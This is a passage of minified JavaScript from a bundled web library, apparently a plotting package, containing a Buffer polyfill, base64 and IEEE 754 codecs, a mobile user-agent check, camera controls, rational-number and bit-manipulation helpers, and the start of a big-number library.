0?arguments[1]:0;return _e(this,ae,de,BigInt(0),BigInt("0xffffffffffffffff"))}),m.prototype.writeIntLE=function(ae,de,Me,Ie){if(ae=+ae,de=de>>>0,!Ie){var Qe=Math.pow(2,8*Me-1);xe(this,ae,de,Me,Qe-1,-Qe)}var et=0,pt=1,St=0;for(this[de]=ae&255;++et<Me&&(pt*=256);)ae<0&&St===0&&this[de+et-1]!==0&&(St=1),this[de+et]=(ae/pt>>0)-St&255;return de+Me},m.prototype.writeIntBE=function(ae,de,Me,Ie){if(ae=+ae,de=de>>>0,!Ie){var Qe=Math.pow(2,8*Me-1);xe(this,ae,de,Me,Qe-1,-Qe)}var et=Me-1,pt=1,St=0;for(this[de+et]=ae&255;--et>=0&&(pt*=256);)ae<0&&St===0&&this[de+et+1]!==0&&(St=1),this[de+et]=(ae/pt>>0)-St&255;return de+Me},m.prototype.writeInt8=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,1,127,-128),ae<0&&(ae=255+ae+1),this[de]=ae&255,de+1},m.prototype.writeInt16LE=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,2,32767,-32768),this[de]=ae&255,this[de+1]=ae>>>8,de+2},m.prototype.writeInt16BE=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,2,32767,-32768),this[de]=ae>>>8,this[de+1]=ae&255,de+2},m.prototype.writeInt32LE=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,4,2147483647,-2147483648),this[de]=ae&255,this[de+1]=ae>>>8,this[de+2]=ae>>>16,this[de+3]=ae>>>24,de+4},m.prototype.writeInt32BE=function(ae,de,Me){return ae=+ae,de=de>>>0,Me||xe(this,ae,de,4,2147483647,-2147483648),ae<0&&(ae=4294967295+ae+1),this[de]=ae>>>24,this[de+1]=ae>>>16,this[de+2]=ae>>>8,this[de+3]=ae&255,de+4},m.prototype.writeBigInt64LE=De(function(ae){var de=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return ke(this,ae,de,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))}),m.prototype.writeBigInt64BE=De(function(ae){var de=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return _e(this,ae,de,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))});function be(ye,ae,de,Me,Ie,Qe){if(de+Me>ye.length)throw new RangeError("Index out of range");if(de<0)throw new RangeError("Index out of range")}function ge(ye,ae,de,Me,Ie){return ae=+ae,de=de>>>0,Ie||be(ye,ae,de,4),T.write(ye,ae,de,Me,23,4),de+4}m.prototype.writeFloatLE=function(ae,de,Me){return ge(this,ae,de,!0,Me)},m.prototype.writeFloatBE=function(ae,de,Me){return ge(this,ae,de,!1,Me)};function Te(ye,ae,de,Me,Ie){return ae=+ae,de=de>>>0,Ie||be(ye,ae,de,8),T.write(ye,ae,de,Me,52,8),de+8}m.prototype.writeDoubleLE=function(ae,de,Me){return Te(this,ae,de,!0,Me)},m.prototype.writeDoubleBE=function(ae,de,Me){return Te(this,ae,de,!1,Me)},m.prototype.copy=function(ae,de,Me,Ie){if(!m.isBuffer(ae))throw new TypeError("argument should be a Buffer");if(Me||(Me=0),!Ie&&Ie!==0&&(Ie=this.length),de>=ae.length&&(de=ae.length),de||(de=0),Ie>0&&Ie<Me&&(Ie=Me),Ie===Me||ae.length===0||this.length===0)return 0;if(de<0)throw new RangeError("targetStart out of bounds");if(Me<0||Me>=this.length)throw new RangeError("Index out of range");if(Ie<0)throw new RangeError("sourceEnd out of bounds");Ie>this.length&&(Ie=this.length),ae.length-de<Ie-Me&&(Ie=ae.length-de+Me);var Qe=Ie-Me;return this===ae&&typeof Uint8Array.prototype.copyWithin=="function"?this.copyWithin(de,Me,Ie):Uint8Array.prototype.set.call(ae,this.subarray(Me,Ie),de),Qe},m.prototype.fill=function(ae,de,Me,Ie){if(typeof ae=="string"){if(typeof de=="string"?(Ie=de,de=0,Me=this.length):typeof Me=="string"&&(Ie=Me,Me=this.length),Ie!==void 0&&typeof Ie!="string")throw new TypeError("encoding must be a string");if(typeof Ie=="string"&&!m.isEncoding(Ie))throw new TypeError("Unknown encoding: "+Ie);if(ae.length===1){var Qe=ae.charCodeAt(0);(Ie==="utf8"&&Qe<128||Ie==="latin1")&&(ae=Qe)}}else typeof ae=="number"?ae=ae&255:typeof ae=="boolean"&&(ae=Number(ae));if(de<0||this.length<de||this.length<Me)throw new RangeError("Out of range index");if(Me<=de)return this;de=de>>>0,Me=Me===void 0?this.length:Me>>>0,ae||(ae=0);var et;if(typeof ae=="number")for(et=de;et<Me;++et)this[et]=ae;else{var pt=m.isBuffer(ae)?ae:m.from(ae,Ie),St=pt.length;if(St===0)throw new TypeError('The value "'+ae+'" is invalid for argument "value"');for(et=0;et<Me-de;++et)this[et+de]=pt[et%St]}return this};var Fe={};function Oe(ye,ae,de){Fe[ye]=function(Me){l(Qe,Me);var Ie=s(Qe);function Qe(){var et;return r(this,Qe),et=Ie.call(this),Object.defineProperty(c(et),"message",{value:ae.apply(c(et),arguments),writable:!0,configurable:!0}),et.name="".concat(et.name," [").concat(ye,"]"),et.stack,delete et.name,et}return a(Qe,[{key:"code",get:function(){return ye},set:function(pt){Object.defineProperty(this,"code",{configurable:!0,enumerable:!0,value:pt,writable:!0})}},{key:"toString",value:function(){return"".concat(this.name," [").concat(ye,"]: ").concat(this.message)}}]),Qe}(de)}Oe("ERR_BUFFER_OUT_OF_BOUNDS",function(ye){return ye?"".concat(ye," is outside of buffer bounds"):"Attempt to access memory outside buffer bounds"},RangeError),Oe("ERR_INVALID_ARG_TYPE",function(ye,ae){return'The "'.concat(ye,'" argument must be of type number. Received type ').concat(i(ae))},TypeError),Oe("ERR_OUT_OF_RANGE",function(ye,ae,de){var Me='The value of "'.concat(ye,'" is out of range.'),Ie=de;return Number.isInteger(de)&&Math.abs(de)>Math.pow(2,32)?Ie=Ce(String(de)):typeof de=="bigint"&&(Ie=String(de),(de>Math.pow(BigInt(2),BigInt(32))||de<-Math.pow(BigInt(2),BigInt(32)))&&(Ie=Ce(Ie)),Ie+="n"),Me+=" It must be ".concat(ae,". Received ").concat(Ie),Me},RangeError);function Ce(ye){for(var ae="",de=ye.length,Me=ye[0]==="-"?1:0;de>=Me+4;de-=3)ae="_".concat(ye.slice(de-3,de)).concat(ae);return"".concat(ye.slice(0,de)).concat(ae)}function Be(ye,ae,de){Xe(ae,"offset"),(ye[ae]===void 0||ye[ae+de]===void 0)&&Ze(ae,ye.length-(de+1))}function $e(ye,ae,de,Me,Ie,Qe){if(ye>de||ye<ae){var et=typeof ae=="bigint"?"n":"",pt;throw ae===0||ae===BigInt(0)?pt=">= 0".concat(et," and < 2").concat(et," ** ").concat((Qe+1)*8).concat(et):pt=">= -(2".concat(et," ** ").concat((Qe+1)*8-1).concat(et,") and < 2 ** ")+"".concat((Qe+1)*8-1).concat(et),new Fe.ERR_OUT_OF_RANGE("value",pt,ye)}Be(Me,Ie,Qe)}function Xe(ye,ae){if(typeof ye!="number")throw new Fe.ERR_INVALID_ARG_TYPE(ae,"number",ye)}function Ze(ye,ae,de){throw Math.floor(ye)!==ye?(Xe(ye,de),new Fe.ERR_OUT_OF_RANGE("offset","an integer",ye)):ae<0?new Fe.ERR_BUFFER_OUT_OF_BOUNDS:new Fe.ERR_OUT_OF_RANGE("offset",">= ".concat(0," and <= ").concat(ae),ye)}var Ke=/[^+/0-9A-Za-z-_]/g;function st(ye){if(ye=ye.split("=")[0],ye=ye.trim().replace(Ke,""),ye.length<2)return"";for(;ye.length%4!==0;)ye=ye+"=";return ye}function lt(ye,ae){ae=ae||1/0;for(var de,Me=ye.length,Ie=null,Qe=[],et=0;et<Me;++et){if(de=ye.charCodeAt(et),de>55295&&de<57344){if(!Ie){if(de>56319){(ae-=3)>-1&&Qe.push(239,191,189);continue}else if(et+1===Me){(ae-=3)>-1&&Qe.push(239,191,189);continue}Ie=de;continue}if(de<56320){(ae-=3)>-1&&Qe.push(239,191,189),Ie=de;continue}de=(Ie-55296<<10|de-56320)+65536}else Ie&&(ae-=3)>-1&&Qe.push(239,191,189);if(Ie=null,de<128){if((ae-=1)<0)break;Qe.push(de)}else if(de<2048){if((ae-=2)<0)break;Qe.push(de>>6|192,de&63|128)}else if(de<65536){if((ae-=3)<0)break;Qe.push(de>>12|224,de>>6&63|128,de&63|128)}else if(de<1114112){if((ae-=4)<0)break;Qe.push(de>>18|240,de>>12&63|128,de>>6&63|128,de&63|128)}else throw new Error("Invalid code point")}return Qe}function ut(ye){for(var ae=[],de=0;de<ye.length;++de)ae.push(ye.charCodeAt(de)&255);return ae}function yt(ye,ae){for(var de,Me,Ie,Qe=[],et=0;et<ye.length&&!((ae-=2)<0);++et)de=ye.charCodeAt(et),Me=de>>8,Ie=de%256,Qe.push(Ie),Qe.push(Me);return Qe}function bt(ye){return v.toByteArray(st(ye))}function Ot(ye,ae,de,Me){var Ie;for(Ie=0;Ie<Me&&!(Ie+de>=ae.length||Ie>=ye.length);++Ie)ae[Ie+de]=ye[Ie];return Ie}function Ge(ye,ae){return ye instanceof ae||ye!=null&&ye.constructor!=null&&ye.constructor.name!=null&&ye.constructor.name===ae.name}function Le(ye){return ye!==ye}var Pe=function(){for(var ye="0123456789abcdef",ae=new Array(256),de=0;de<16;++de)for(var Me=de*16,Ie=0;Ie<16;++Ie)ae[Me+Ie]=ye[de]+ye[Ie];return ae}();function De(ye){return typeof BigInt>"u"?Ee:ye}function Ee(){throw new Error("BigInt not supported")}},2321:function(d){d.exports=f,d.exports.isMobile=f,d.exports.default=f;var g=/(android|bb\d+|meego).+mobile|armv7l|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series[46]0|samsungbrowser.*mobile|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i,t=/CrOS/,r=/android|ipad|playbook|silk/i;function f(a){a||(a={});var l=a.ua;if(!l&&typeof navigator<"u"&&(l=navigator.userAgent),l&&l.headers&&typeof l.headers["user-agent"]=="string"&&(l=l.headers["user-agent"]),typeof l!="string")return!1;var u=g.test(l)&&!t.test(l)||!!a.tablet&&r.test(l);return!u&&a.tablet&&a.featureDetect&&navigator&&navigator.maxTouchPoints>1&&l.indexOf("Macintosh")!==-1&&l.indexOf("Safari")!==-1&&(u=!0),u}},3910:function(d,g){g.byteLength=y,g.toByteArray=b,g.fromByteArray=v;for(var t=[],r=[],f=typeof Uint8Array<"u"?Uint8Array:Array,a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",l=0,u=a.length;l<u;++l)t[l]=a[l],r[a.charCodeAt(l)]=l;r[45]=62,r[95]=63;function s(T){var w=T.length;if(w%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var E=T.indexOf("=");E===-1&&(E=w);var p=E===w?0:4-E%4;return[E,p]}function y(T){var w=s(T),E=w[0],p=w[1];return(E+p)*3/4-p}function c(T,w,E){return(w+E)*3/4-E}function b(T){var w,E=s(T),p=E[0],A=E[1],m=new f(c(T,p,A)),n=0,C=A>0?p-4:p,x;for(x=0;x<C;x+=4)w=r[T.charCodeAt(x)]<<18|r[T.charCodeAt(x+1)]<<12|r[T.charCodeAt(x+2)]<<6|r[T.charCodeAt(x+3)],m[n++]=w>>16&255,m[n++]=w>>8&255,m[n++]=w&255;return A===2&&(w=r[T.charCodeAt(x)]<<2|r[T.charCodeAt(x+1)]>>4,m[n++]=w&255),A===1&&(w=r[T.charCodeAt(x)]<<10|r[T.charCodeAt(x+1)]<<4|r[T.charCodeAt(x+2)]>>2,m[n++]=w>>8&255,m[n++]=w&255),m}function h(T){return t[T>>18&63]+t[T>>12&63]+t[T>>6&63]+t[T&63]}function i(T,w,E){for(var p,A=[],m=w;m<E;m+=3)p=(T[m]<<16&16711680)+(T[m+1]<<8&65280)+(T[m+2]&255),A.push(h(p));return A.join("")}function v(T){for(var w,E=T.length,p=E%3,A=[],m=16383,n=0,C=E-p;n<C;n+=m)A.push(i(T,n,n+m>C?C:n+m));return p===1?(w=T[E-1],A.push(t[w>>2]+t[w<<4&63]+"==")):p===2&&(w=(T[E-2]<<8)+T[E-1],A.push(t[w>>10]+t[w>>4&63]+t[w<<2&63]+"=")),A.join("")}},3187:function(d,g){/*! ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> */g.read=function(t,r,f,a,l){var u,s,y=l*8-a-1,c=(1<<y)-1,b=c>>1,h=-7,i=f?l-1:0,v=f?-1:1,T=t[r+i];for(i+=v,u=T&(1<<-h)-1,T>>=-h,h+=y;h>0;u=u*256+t[r+i],i+=v,h-=8);for(s=u&(1<<-h)-1,u>>=-h,h+=a;h>0;s=s*256+t[r+i],i+=v,h-=8);if(u===0)u=1-b;else{if(u===c)return s?NaN:(T?-1:1)*(1/0);s=s+Math.pow(2,a),u=u-b}return(T?-1:1)*s*Math.pow(2,u-a)},g.write=function(t,r,f,a,l,u){var s,y,c,b=u*8-l-1,h=(1<<b)-1,i=h>>1,v=l===23?Math.pow(2,-24)-Math.pow(2,-77):0,T=a?0:u-1,w=a?1:-1,E=r<0||r===0&&1/r<0?1:0;for(r=Math.abs(r),isNaN(r)||r===1/0?(y=isNaN(r)?1:0,s=h):(s=Math.floor(Math.log(r)/Math.LN2),r*(c=Math.pow(2,-s))<1&&(s--,c*=2),s+i>=1?r+=v/c:r+=v*Math.pow(2,1-i),r*c>=2&&(s++,c/=2),s+i>=h?(y=0,s=h):s+i>=1?(y=(r*c-1)*Math.pow(2,l),s=s+i):(y=r*Math.pow(2,i-1)*Math.pow(2,l),s=0));l>=8;t[f+T]=y&255,T+=w,y/=256,l-=8);for(s=s<<l|y,b+=l;b>0;t[f+T]=s&255,T+=w,s/=256,b-=8);t[f+T-w]|=E*128}},1152:function(d,g,t){d.exports=s;var r=t(3440),f=t(7774),a=t(9298);function l(y,c){this._controllerNames=Object.keys(y),this._controllerList=this._controllerNames.map(function(b){return y[b]}),this._mode=c,this._active=y[c],this._active||(this._mode="turntable",this._active=y.turntable),this.modes=this._controllerNames,this.computedMatrix=this._active.computedMatrix,this.computedEye=this._active.computedEye,this.computedUp=this._active.computedUp,this.computedCenter=this._active.computedCenter,this.computedRadius=this._active.computedRadius}var u=l.prototype;u.flush=function(y){for(var c=this._controllerList,b=0;b<c.length;++b)c[b].flush(y)},u.idle=function(y){for(var c=this._controllerList,b=0;b<c.length;++b)c[b].idle(y)},u.lookAt=function(y,c,b,h){for(var i=this._controllerList,v=0;v<i.length;++v)i[v].lookAt(y,c,b,h)},u.rotate=function(y,c,b,h){for(var i=this._controllerList,v=0;v<i.length;++v)i[v].rotate(y,c,b,h)},u.pan=function(y,c,b,h){for(var i=this._controllerList,v=0;v<i.length;++v)i[v].pan(y,c,b,h)},u.translate=function(y,c,b,h){for(var i=this._controllerList,v=0;v<i.length;++v)i[v].translate(y,c,b,h)},u.setMatrix=function(y,c){for(var b=this._controllerList,h=0;h<b.length;++h)b[h].setMatrix(y,c)},u.setDistanceLimits=function(y,c){for(var b=this._controllerList,h=0;h<b.length;++h)b[h].setDistanceLimits(y,c)},u.setDistance=function(y,c){for(var b=this._controllerList,h=0;h<b.length;++h)b[h].setDistance(y,c)},u.recalcMatrix=function(y){this._active.recalcMatrix(y)},u.getDistance=function(y){return this._active.getDistance(y)},u.getDistanceLimits=function(y){return this._active.getDistanceLimits(y)},u.lastT=function(){return this._active.lastT()},u.setMode=function(y){if(y!==this._mode){var c=this._controllerNames.indexOf(y);if(!(c<0)){var b=this._active,h=this._controllerList[c],i=Math.max(b.lastT(),h.lastT());b.recalcMatrix(i),h.setMatrix(i,b.computedMatrix),this._active=h,this._mode=y,this.computedMatrix=this._active.computedMatrix,this.computedEye=this._active.computedEye,this.computedUp=this._active.computedUp,this.computedCenter=this._active.computedCenter,this.computedRadius=this._active.computedRadius}}},u.getMode=function(){return this._mode};function s(y){y=y||{};var c=y.eye||[0,0,1],b=y.center||[0,0,0],h=y.up||[0,1,0],i=y.distanceLimits||[0,1/0],v=y.mode||"turntable",T=r(),w=f(),E=a();return T.setDistanceLimits(i[0],i[1]),T.lookAt(0,c,b,h),w.setDistanceLimits(i[0],i[1]),w.lookAt(0,c,b,h),E.setDistanceLimits(i[0],i[1]),E.lookAt(0,c,b,h),new l({turntable:T,orbit:w,matrix:E},v)}},8126:function(d,g,t){var r=typeof WeakMap>"u"?t(5346):WeakMap,f=t(5827),a=t(2944),l=new r;function u(s){var y=l.get(s),c=y&&(y._triangleBuffer.handle||y._triangleBuffer.buffer);if(!c||!s.isBuffer(c)){var b=f(s,new Float32Array([-1,-1,-1,4,4,-1]));y=a(s,[{buffer:b,type:s.FLOAT,size:2}]),y._triangleBuffer=b,l.set(s,y)}y.bind(),s.drawArrays(s.TRIANGLES,0,3),y.unbind()}d.exports=u},8008:function(d,g,t){var r=t(4930);d.exports=f;function f(a,l,u){l=typeof l=="number"?l:1,u=u||": ";var s=a.split(/\r?\n/),y=String(s.length+l-1).length;return s.map(function(c,b){var h=b+l,i=String(h).length,v=r(h,y-i);return v+u+c}).join(`
`)}},2153:function(d,g,t){d.exports=a;var r=t(417);function f(l,u){for(var s=new Array(u+1),y=0;y<l.length;++y)s[y]=l[y];for(var y=0;y<=l.length;++y){for(var c=l.length;c<=u;++c){for(var b=new Array(u),h=0;h<u;++h)b[h]=Math.pow(c+1-y,h);s[c]=b}var i=r.apply(void 0,s);if(i)return!0}return!1}function a(l){var u=l.length;if(u===0)return[];if(u===1)return[0];for(var s=l[0].length,y=[l[0]],c=[0],b=1;b<u;++b){if(y.push(l[b]),!f(y,s)){y.pop();continue}if(c.push(b),c.length===s+1)return c}return c}},4653:function(d,g,t){d.exports=a;var r=t(4419),f=t(1778);function a(l,u){return r(u).filter(function(s){for(var y=new Array(s.length),c=0;c<s.length;++c)y[c]=u[s[c]];return f(y)*l<1})}},2350:function(d,g,t){d.exports=a;var r=t(4653),f=t(8691);function a(l,u){return f(r(l,u))}},7896:function(d){d.exports=function(t){return atob(t)}},957:function(d,g,t){d.exports=a;var r=t(6606);function f(l){for(var u=0,s=0;s<l.length;++s)u+=l[s];return u}function a(l,u){for(var s=u.length,y=new Array(s+1),c=0;c<s;++c){for(var b=new Array(s+1),h=0;h<=s;++h)b[h]=l[h][c];y[c]=b}y[s]=new Array(s+1);for(var c=0;c<=s;++c)y[s][c]=1;for(var i=new Array(s+1),c=0;c<s;++c)i[c]=u[c];i[s]=1;var v=r(y,i),T=f(v[s+1]);T===0&&(T=1);for(var w=new Array(s+1),c=0;c<=s;++c)w[c]=f(v[c])/T;return w}},1539:function(d,g,t){var r=t(8524);d.exports=f;function f(a,l){return r(a[0].mul(l[1]).add(l[0].mul(a[1])),a[1].mul(l[1]))}},8846:function(d){d.exports=g;function g(t,r){return t[0].mul(r[1]).cmp(r[0].mul(t[1]))}},9189:function(d,g,t){var r=t(8524);d.exports=f;function f(a,l){return r(a[0].mul(l[1]),a[1].mul(l[0]))}},5125:function(d,g,t){var r=t(234),f=t(3218),a=t(5514),l=t(2813),u=t(8524),s=t(9189);d.exports=y;function y(c,b){if(r(c))return b?s(c,y(b)):[c[0].clone(),c[1].clone()];var h=0,i,v;if(f(c))i=c.clone();else if(typeof c=="string")i=l(c);else{if(c===0)return[a(0),a(1)];if(c===Math.floor(c))i=a(c);else{for(;c!==Math.floor(c);)c=c*Math.pow(2,256),h-=256;i=a(c)}}if(r(b))i.mul(b[1]),v=b[0].clone();else if(f(b))v=b.clone();else if(typeof b=="string")v=l(b);else if(!b)v=a(1);else if(b===Math.floor(b))v=a(b);else{for(;b!==Math.floor(b);)b=b*Math.pow(2,256),h+=256;v=a(b)}return h>0?i=i.ushln(h):h<0&&(v=v.ushln(-h)),u(i,v)}},234:function(d,g,t){var r=t(3218);d.exports=f;function f(a){return Array.isArray(a)&&a.length===2&&r(a[0])&&r(a[1])}},4275:function(d,g,t){var r=t(1928);d.exports=f;function f(a){return a.cmp(new r(0))}},9958:function(d,g,t){var r=t(4275);d.exports=f;function f(a){var l=a.length,u=a.words,s=0;if(l===1)s=u[0];else if(l===2)s=u[0]+u[1]*67108864;else for(var y=0;y<l;y++){var c=u[y];s+=c*Math.pow(67108864,y)}return r(a)*s}},1112:function(d,g,t){var r=t(8362),f=t(2288).countTrailingZeros;d.exports=a;function a(l){var u=f(r.lo(l));if(u<32)return u;var s=f(r.hi(l));return s>20?52:s+32}},3218:function(d,g,t){t(1928),d.exports=r;function r(f){return f&&typeof f=="object"&&!!f.words}},5514:function(d,g,t){var r=t(1928),f=t(8362);d.exports=a;function a(l){var u=f.exponent(l);return u<52?new r(l):new r(l*Math.pow(2,52-u)).ushln(u-52)}},8524:function(d,g,t){var r=t(5514),f=t(4275);d.exports=a;function a(l,u){var s=f(l),y=f(u);if(s===0)return[r(0),r(1)];if(y===0)return[r(0),r(0)];y<0&&(l=l.neg(),u=u.neg());var c=l.gcd(u);return c.cmpn(1)?[l.div(c),u.div(c)]:[l,u]}},2813:function(d,g,t){var r=t(1928);d.exports=f;function f(a){return new r(a)}},3962:function(d,g,t){var r=t(8524);d.exports=f;function f(a,l){return r(a[0].mul(l[0]),a[1].mul(l[1]))}},4951:function(d,g,t){var r=t(4275);d.exports=f;function f(a){return r(a[0])*r(a[1])}},4354:function(d,g,t){var r=t(8524);d.exports=f;function f(a,l){return r(a[0].mul(l[1]).sub(a[1].mul(l[0])),a[1].mul(l[1]))}},7999:function(d,g,t){var r=t(9958),f=t(1112);d.exports=a;function a(l){var u=l[0],s=l[1];if(u.cmpn(0)===0)return 0;var y=u.abs().divmod(s.abs()),c=y.div,b=r(c),h=y.mod,i=u.negative!==s.negative?-1:1;if(h.cmpn(0)===0)return i*b;if(b){var v=f(b)+4,T=r(h.ushln(v).divRound(s));return i*(b+T*Math.pow(2,-v))}else{var w=s.bitLength()-h.bitLength()+53,T=r(h.ushln(w).divRound(s));return w<1023?i*T*Math.pow(2,-w):(T*=Math.pow(2,-1023),i*T*Math.pow(2,1023-w))}}},5070:function(d){function g(u,s,y,c,b){for(var h=b+1;c<=b;){var i=c+b>>>1,v=u[i],T=y!==void 0?y(v,s):v-s;T>=0?(h=i,b=i-1):c=i+1}return h}function t(u,s,y,c,b){for(var h=b+1;c<=b;){var i=c+b>>>1,v=u[i],T=y!==void 0?y(v,s):v-s;T>0?(h=i,b=i-1):c=i+1}return h}function r(u,s,y,c,b){for(var h=c-1;c<=b;){var i=c+b>>>1,v=u[i],T=y!==void 0?y(v,s):v-s;T<0?(h=i,c=i+1):b=i-1}return h}function f(u,s,y,c,b){for(var h=c-1;c<=b;){var i=c+b>>>1,v=u[i],T=y!==void 0?y(v,s):v-s;T<=0?(h=i,c=i+1):b=i-1}return h}function a(u,s,y,c,b){for(;c<=b;){var h=c+b>>>1,i=u[h],v=y!==void 0?y(i,s):i-s;if(v===0)return h;v<=0?c=h+1:b=h-1}return-1}function l(u,s,y,c,b,h){return typeof y=="function"?h(u,s,y,c===void 0?0:c|0,b===void 0?u.length-1:b|0):h(u,s,void 0,y===void 0?0:y|0,c===void 0?u.length-1:c|0)}d.exports={ge:function(u,s,y,c,b){return l(u,s,y,c,b,g)},gt:function(u,s,y,c,b){return l(u,s,y,c,b,t)},lt:function(u,s,y,c,b){return l(u,s,y,c,b,r)},le:function(u,s,y,c,b){return l(u,s,y,c,b,f)},eq:function(u,s,y,c,b){return l(u,s,y,c,b,a)}}},2288:function(d,g){"use restrict";var t=32;g.INT_BITS=t,g.INT_MAX=2147483647,g.INT_MIN=-1<<t-1,g.sign=function(a){return(a>0)-(a<0)},g.abs=function(a){var l=a>>t-1;return(a^l)-l},g.min=function(a,l){return l^(a^l)&-(a<l)},g.max=function(a,l){return a^(a^l)&-(a<l)},g.isPow2=function(a){return!(a&a-1)&&!!a},g.log2=function(a){var l,u;return l=(a>65535)<<4,a>>>=l,u=(a>255)<<3,a>>>=u,l|=u,u=(a>15)<<2,a>>>=u,l|=u,u=(a>3)<<1,a>>>=u,l|=u,l|a>>1},g.log10=function(a){return a>=1e9?9:a>=1e8?8:a>=1e7?7:a>=1e6?6:a>=1e5?5:a>=1e4?4:a>=1e3?3:a>=100?2:a>=10?1:0},g.popCount=function(a){return a=a-(a>>>1&1431655765),a=(a&858993459)+(a>>>2&858993459),(a+(a>>>4)&252645135)*16843009>>>24};function r(a){var l=32;return a&=-a,a&&l--,a&65535&&(l-=16),a&16711935&&(l-=8),a&252645135&&(l-=4),a&858993459&&(l-=2),a&1431655765&&(l-=1),l}g.countTrailingZeros=r,g.nextPow2=function(a){return a+=a===0,--a,a|=a>>>1,a|=a>>>2,a|=a>>>4,a|=a>>>8,a|=a>>>16,a+1},g.prevPow2=function(a){return a|=a>>>1,a|=a>>>2,a|=a>>>4,a|=a>>>8,a|=a>>>16,a-(a>>>1)},g.parity=function(a){return a^=a>>>16,a^=a>>>8,a^=a>>>4,a&=15,27030>>>a&1};var f=new Array(256);(function(a){for(var l=0;l<256;++l){var u=l,s=l,y=7;for(u>>>=1;u;u>>>=1)s<<=1,s|=u&1,--y;a[l]=s<<y&255}})(f),g.reverse=function(a){return f[a&255]<<24|f[a>>>8&255]<<16|f[a>>>16&255]<<8|f[a>>>24&255]},g.interleave2=function(a,l){return a&=65535,a=(a|a<<8)&16711935,a=(a|a<<4)&252645135,a=(a|a<<2)&858993459,a=(a|a<<1)&1431655765,l&=65535,l=(l|l<<8)&16711935,l=(l|l<<4)&252645135,l=(l|l<<2)&858993459,l=(l|l<<1)&1431655765,a|l<<1},g.deinterleave2=function(a,l){return a=a>>>l&1431655765,a=(a|a>>>1)&858993459,a=(a|a>>>2)&252645135,a=(a|a>>>4)&16711935,a=(a|a>>>16)&65535,a<<16>>16},g.interleave3=function(a,l,u){return a&=1023,a=(a|a<<16)&4278190335,a=(a|a<<8)&251719695,a=(a|a<<4)&3272356035,a=(a|a<<2)&1227133513,l&=1023,l=(l|l<<16)&4278190335,l=(l|l<<8)&251719695,l=(l|l<<4)&3272356035,l=(l|l<<2)&1227133513,a|=l<<1,u&=1023,u=(u|u<<16)&4278190335,u=(u|u<<8)&251719695,u=(u|u<<4)&3272356035,u=(u|u<<2)&1227133513,a|u<<2},g.deinterleave3=function(a,l){return a=a>>>l&1227133513,a=(a|a>>>2)&3272356035,a=(a|a>>>4)&251719695,a=(a|a>>>8)&4278190335,a=(a|a>>>16)&1023,a<<22>>22},g.nextCombination=function(a){var l=a|a-1;return l+1|(~l&-~l)-1>>>r(a)+1}},1928:function(d,g,t){d=t.nmd(d),function(r,f){function a(O,z){if(!O)throw new Error(z||"Assertion failed")}function l(O,z){O.super_=z;var N=function(){};N.prototype=z.prototype,O.prototype=new N,O.prototype.constructor=O}function u(O,z,N){if(u.isBN(O))return O;this.negative=0,this.words=null,this.length=0,this.red=null,O!==null&&((z==="le"||z==="be")&&(N=z,z=10),this._init(O||0,z||10,N||"be"))}typeof r=="object"?r.exports=u:f.BN=u,u.BN=u,u.wordSize=26;var s;try{typeof window<"u"&&typeof window.Buffer<"u"?s=window.Buffer:s=t(6601).Buffer}catch{}u.isBN=function(z){return z instanceof u?!0:z!==null&&typeof z=="object"&&z.constructor.wordSize===u.wordSize&&Array.isArray(z.words)},u.max=function(z,N){return z.cmp(N)>0?z:N},u.min=function(z,N){return z.cmp(N)<0?z:N},u.prototype._init=function(z,N,G){if(typeof z=="number")return this._initNumber(z,N,G);if(typeof z=="object")return this._initArray(z,N,G);N==="hex"&&(N=16),a(N===(N|0)&&N>=2&&N<=36),z=z.toString().replace(/\s+/g,"");var J=0;z[0]==="-"&&(J++,this.negative=1),J<z.length&&(N===16?this._parseHex(z,J,G):(this._parseBase(z,N,J),G==="le"&&this._initArray(this.toArray(),N,G)))},u.prototype._initNumber=function(z,N,G){z<0&&(this.negative=1,z=-z),z<67108864?(this.words=[z&67108863],this.length=1):z<4503599627370496?(this.words=[z&67108863,z/67108864&67108863],this.length=2):(a(z<9007199254740992),this.words=[z&67108863,z/67108864&67108863,1],this.length=3),G==="le"&&this._initArray(this.toArray(),N,G)},u.prototype._initArray=function(z,N,G){if(a(typeof z.length=="number"),z.length<=0)return this.words=[0],this.length=1,this;this.length=Math.ceil(z.length/3),this.words=new Array(this.length);for(var J=0;J<this.length;J++)this.words[J]=0;var q,ne,fe=0;if(G==="be")for(J=z.length-1,q=0;J>=0;J-=3)ne=z[J]|z[J-1]<<8|z[J-2]<<16,this.words[q]|=ne<<fe&67108863,this.words[q+1]=ne>>>26-fe&67108863,fe+=24,fe>=26&&(fe-=26,q++);else if(G==="le")for(J=0,q=0;J<z.length;J+=3)ne=z[J]|z[J+1]<<8|z[J+2]<<16,this.words[q]|=ne<<fe&67108863,this.words[q+1]=ne>>>26-fe&67108863,fe+=24,fe>=26&&(fe-=26,q++);return this.strip()};function y(O,z){var N=O.charCodeAt(z);return N>=65&&N<=70?N-55:N>=97&&N<=102?N-87:N-48&15}function c(O,z,N){var G=y(O,N);return N-1>=z&&(G|=y(O,N-1)<<4),G}u.prototype._parseHex=function(z,N,G){this.length=Math.ceil((z.length-N)/6),this.words=new Array(this.length);for(var J=0;J<this.length;J++)this.words[J]=0;var q=0,ne=0,fe;if(G==="be")for(J=z.length-1;J>=N;J-=2)fe=c(z,N,J)<<q,this.words[ne]|=fe&67108863,q>=18?(q-=18,ne+=1,this.words[ne]|=fe>>>26):q+=8;else{var 